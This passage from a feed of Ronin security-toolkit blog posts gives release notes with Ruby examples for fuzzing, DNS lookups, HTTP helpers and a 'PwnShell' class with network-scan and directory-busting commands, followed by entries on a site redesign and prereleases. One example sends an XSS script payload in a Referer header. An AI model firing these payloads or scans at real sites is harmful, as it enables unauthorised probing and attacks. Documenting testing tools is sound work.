&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;[1,2,3]&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fuzz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/\d+/&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;generate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;9&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Easier DNS Queries&lt;/h2&gt;

&lt;p&gt;Sometimes you need to query a specific DNS server, and bypass &lt;code&gt;/etc/hosts&lt;/code&gt;.
Now you can, using any of the &lt;code&gt;lookup&lt;/code&gt; methods:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;IPAddr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;209.20.85.251&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lookup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;4.2.2.1&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; [#&amp;lt;Resolv::DNS::Name: 209-20-85-251.slicehost.net.&amp;gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;URI::HTTP Convenience Methods&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Net.http_*&lt;/code&gt; convenience methods were added to &lt;a href=&quot;http://rubydoc.info/gems/ronin-support/0.3.0/URI/HTTP&quot;&gt;URI::HTTP&lt;/a&gt;, for quicker
access:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;URI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;http://www.vannin.com/robots.txt&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ok?&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; true&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;Apache&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; #&amp;lt;Net::HTTPOK 200 OK readbody=true&amp;gt;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:headers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:referer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(&amp;#39;XSS&amp;#39;);&amp;lt;/script&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; #&amp;lt;Net::HTTPOK 200 OK readbody=true&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Ronin::UI Moves&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;http://rubydoc.info/gems/ronin-support/0.3.0/Ronin/UI/Output&quot;&gt;Ronin::UI::Output&lt;/a&gt; was moved out of ronin and down into ronin-support.
Now developers can use &lt;code&gt;print_info&lt;/code&gt;, &lt;code&gt;print_warning&lt;/code&gt; &lt;code&gt;print_error&lt;/code&gt; methods
from &lt;a href=&quot;http://rubygems.org/gems/ronin-support&quot;&gt;ronin-support&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;ronin/ui/output&amp;#39;&lt;/span&gt;
&lt;span class=&quot;kp&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:UI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;Output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Helpers&lt;/span&gt;
    
&lt;span class=&quot;n&quot;&gt;print_info&lt;/span&gt;  &lt;span class=&quot;s2&quot;&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;print_error&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Danger!&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;a href=&quot;http://rubydoc.info/gems/ronin-support/0.3.0/Ronin/UI/Shell&quot;&gt;Ronin::UI::Shell&lt;/a&gt; was also moved into ronin-support and refactored.
Ronin::UI::Shell is now a Class, where commands can be defined as protected
methods:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;ronin/ui/shell&amp;#39;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PwnShell&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:UI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Shell&lt;/span&gt;

  &lt;span class=&quot;kp&quot;&gt;protected&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;scan&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;IPAddr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;begin&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;print_info&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;%s:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%s&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Net&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http_server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;rescue&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;dirbust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;words&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;Net&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;words&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;200&amp;quot;&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;print_info&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Found http://&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; ...&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;no&quot;&gt;PwnShell&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;pre&gt;&lt;code&gt;&amp;gt; help
Available commands:

  dirbust target [words]
  exit 
  help 
  quit 
  scan target
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Extract and Import Methods&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;extract&lt;/code&gt; and &lt;code&gt;import&lt;/code&gt; methods were added to &lt;a href=&quot;http://rubydoc.info/gems/ronin/1.3.0/Ronin/MACAddress&quot;&gt;MACAddress&lt;/a&gt;, &lt;a href=&quot;http://rubydoc.info/gems/ronin/1.3.0/Ronin/IPAddress&quot;&gt;IPAddress&lt;/a&gt;,
&lt;a href=&quot;http://rubydoc.info/gems/ronin/1.3.0/Ronin/HostName&quot;&gt;HostName&lt;/a&gt;, &lt;a href=&quot;http://rubydoc.info/gems/ronin/1.3.0/Ronin/URL&quot;&gt;URL&lt;/a&gt; and &lt;a href=&quot;http://rubydoc.info/gems/ronin/1.3.0/Ronin/EmailAddress&quot;&gt;EmailAddress&lt;/a&gt;. &lt;code&gt;extract&lt;/code&gt; can parse large
amounts of text and extract Resources from it:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;no&quot;&gt;HostName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;extract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;code&gt;import&lt;/code&gt; reads every line of a file and saves extracted Resources into the
Database:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;no&quot;&gt;IPAddress&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;ips.txt&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Inline Commands and Tab-Completion&lt;/h2&gt;

&lt;p&gt;The Ronin Console received some significant improvements in 1.3.0.&lt;/p&gt;

&lt;p&gt;Inline Commands were added to the Ronin Console, allowing you to quickly execute
system commands. Simply prefix the command to run with a &lt;code&gt;!&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; &quot;olleh&quot;.reverse
# =&amp;gt; &quot;hello&quot;
&amp;gt;&amp;gt; !ncat github.com 80
GET /
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body bgcolor=&quot;white&quot;&amp;gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.0.4&amp;lt;/center&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;New Tab Completion rules were also added, allowing you to tab-complete data
in the Database and more:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rubydoc.info/gems/ronin/1.3.0/Ronin/IPAddress&quot;&gt;Ronin::IPAddress&lt;/a&gt;es:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; &quot;192.168.&amp;lt;TAB&amp;gt;&amp;lt;TAB&amp;gt;
192.168.1.1
192.168.1.52
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rubydoc.info/gems/ronin/1.3.0/Ronin/HostName&quot;&gt;Ronin::HostName&lt;/a&gt;s:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; &quot;www.ex&amp;lt;TAB&amp;gt;&amp;lt;TAB&amp;gt;
www.example.com
www.exploit-db.com
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rubydoc.info/gems/ronin/1.3.0/Ronin/URL&quot;&gt;Ronin::URL&lt;/a&gt;s:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; &quot;http://www.victim.com/&amp;lt;TAB&amp;gt;&amp;lt;TAB&amp;gt;
http://www.victim.com/index.php
http://www.victim.com/page.php?id=1
http://www.victim.com/page.php?id=2
http://www.victim.com/page.php?id=3
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rubydoc.info/gems/ronin/1.3.0/Ronin/EmailAddress&quot;&gt;Ronin::EmailAddress&lt;/a&gt;es:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; &quot;alice@e&amp;lt;TAB&amp;gt;&amp;lt;TAB&amp;gt;
alice@evil.com
alice@example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Local files / directories:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; File.read(&quot;dump.&amp;lt;TAB&amp;gt;&amp;lt;TAB&amp;gt;
dump.txt
dump.csv
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Inline Commands:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; !nc&amp;lt;TAB&amp;gt;&amp;lt;TAB&amp;gt;
!nc
!ncat
!ncftp
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

</content>
  </entry>
  
  <entry>
    <title>Website Redesigned</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2011/09/25/website-redesigned.html" />
    <updated>Sun Sep 25 00:00:00 -0700 2011</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2011/09/25/website-redesigned.html</id>
    <content type="html">&lt;p&gt;It has been a while since the Ronin website saw major changes. I finally
got around to doing a minor redesign, with the goals of maximizing screen
real estate and better organization of content. Here are the major changes.&lt;/p&gt;

&lt;h2&gt;SVGs FTW&lt;/h2&gt;

&lt;p&gt;The first thing you will notice is the improved &lt;a href=&quot;http://cloud.github.com/downloads/ronin-ruby/art/logo.svg&quot;&gt;logo&lt;/a&gt;. I converted the
original PNG logo (created with &lt;a href=&quot;http://www.gimp.org/&quot;&gt;Gimp&lt;/a&gt;!) into a &lt;a href=&quot;http://en.wikipedia.org/wiki/Scalable_Vector_Graphics&quot;&gt;Scalable Vector Graphic (SVG)&lt;/a&gt;
using &lt;a href=&quot;http://inkscape.org/&quot;&gt;Inkscape&lt;/a&gt;. The menu was also recreated as a SVG, complete with
embedded links for the menu items.&lt;/p&gt;

&lt;p&gt;Now the website should properly scale without pixelation. The SVGs should
render correctly in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.mozilla.org/en-US/firefox/fx/&quot;&gt;Firefox&lt;/a&gt; &gt;= 4&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.google.com/chrome&quot;&gt;Chrome&lt;/a&gt; &gt;= 11&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://windows.microsoft.com/en-US/internet-explorer/products/ie/home&quot;&gt;IE&lt;/a&gt; 9&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Opera has known issues with rendering inline SVGs. It goes without saying, the
website will not render correctly in IE 6. :)&lt;/p&gt;

&lt;h2&gt;Blueprint CSS&lt;/h2&gt;

&lt;p&gt;I also added &lt;a href=&quot;http://www.blueprintcss.org/&quot;&gt;Blueprint CSS&lt;/a&gt; to the website, which should fix any
cross-browser CSS bugs and improve Typography. Blueprint also assumes the
maximum page width of 960 pixels, which allows for more content to be
displayed.&lt;/p&gt;

&lt;h2&gt;Page Moves&lt;/h2&gt;

&lt;p&gt;Finally, the content was regrouped into four main sections:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/blog/&quot;&gt;blog&lt;/a&gt; - Project Blog.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/faq/&quot;&gt;faq&lt;/a&gt; - Frequently Asked Questions.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/&quot;&gt;docs&lt;/a&gt; - Information for Users.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ronin-ruby/&quot;&gt;code&lt;/a&gt; - Ronin repositories on GitHub.&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;Not to worry, the &lt;a href=&quot;/sitemap.xml&quot;&gt;sitemap&lt;/a&gt; was updated and JavaScript redirects
were added to the old pages.&lt;/p&gt;

&lt;h2&gt;Bugs&lt;/h2&gt;

&lt;p&gt;If the site is not rendering correctly for you, or maybe you found a typo,
you can &lt;a href=&quot;https://github.com/ronin-ruby/ronin-ruby.gihtub.io/issues&quot;&gt;submit a bug&lt;/a&gt; or &lt;a href=&quot;https://github.com/ronin-ruby/ronin-ruby.gihtub.io&quot;&gt;fork/edit the site&lt;/a&gt; on &lt;a href=&quot;https://github.com/signup/free&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Ronin 1.0.0 prerelease</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2010/12/30/ronin-1-0-0-prerelease.html" />
    <updated>Thu Dec 30 00:00:00 -0800 2010</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2010/12/30/ronin-1-0-0-prerelease.html</id>
    <content type="html">&lt;p&gt;After more than a year of development, refactoring and new
features, Ronin 1.0.0.pre1 has been released:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ gem install ronin --pre
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Since this is a prerelease, QA testing and &lt;a href=&quot;https://github.com/ronin-ruby/ronin/issues&quot;&gt;bug reports&lt;/a&gt;
would be much appreciated. As bug-fixes stack up, we will release
additional prereleases for testing. Once the code stabilizes,
Release Candidates (RCs) will be released.&lt;/p&gt;

&lt;p&gt;Instead of trying to release everything at once, we are following a
staggered &lt;a href=&quot;https://github.com/ronin-ruby/ronin/wiki/Release-Schedule&quot;&gt;Release Schedule&lt;/a&gt; split into in three phases. This allows us to get
the core libraries (&lt;a href=&quot;https://github.com/ronin-ruby/ronin-support#readme&quot;&gt;ronin-support&lt;/a&gt;, &lt;a href=&quot;https://github.com/ronin-ruby/ronin#readme&quot;&gt;ronin&lt;/a&gt; and &lt;a href=&quot;https://github.com/ronin-ruby/ronin-gen#readme&quot;&gt;ronin-gen&lt;/a&gt;) immediately to
users.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>New API Documentation</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2010/09/01/new-api-documentation.html" />
    <updated>Wed Sep 01 00:00:00 -0700 2010</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2010/09/01/new-api-documentation.html</id>
    <content type="html">&lt;p&gt;If you have not heard yet, &lt;a href=&quot;http://gnuu.org/&quot;&gt;lsegal&lt;/a&gt; and
&lt;a href=&quot;http://blog.zerosum.org/&quot;&gt;zapnap&lt;/a&gt; have rolled out the new
&lt;a href=&quot;http://rubydoc.info/&quot;&gt;rubydoc.info&lt;/a&gt; running
&lt;a href=&quot;http://rubydoc.info/docs/yard/file/docs/WhatsNew.md&quot;&gt;YARD 0.6.0&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Not only does &lt;code&gt;rubydoc.info&lt;/code&gt; look sharp, but it can
build YARD documentation for both &lt;a href=&quot;http://rubydoc.info/gems/&quot;&gt;RubyGems&lt;/a&gt;
released to &lt;a href=&quot;http://rubygems.org/&quot;&gt;rubygems.org&lt;/a&gt; or
&lt;a href=&quot;http://rubydoc.info/github/&quot;&gt;GitHub&lt;/a&gt; repositories being actively developed.&lt;/p&gt;

&lt;p&gt;We immediately leveraged &lt;code&gt;rubydoc.info&lt;/code&gt; by making sure all Ronin
repositories had post-receive hooks to update their YARD documentation. Now
users can browse API documentation for both
&lt;a href=&quot;http://rubydoc.info/github/ronin-ruby/ronin/master/frames&quot;&gt;Ronin (Edge)&lt;/a&gt;
and previous releases of &lt;a href=&quot;http://rubydoc.info/gems/ronin/frames&quot;&gt;Ronin&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Checkout the new API documentation links in the &lt;a href=&quot;/docs/&quot;&gt;docs&lt;/a&gt; section.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Installing Ronin (Edge) Guide</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2010/08/19/installing-ronin-edge-guide.html" />
    <updated>Thu Aug 19 00:00:00 -0700 2010</updated>
    <author>
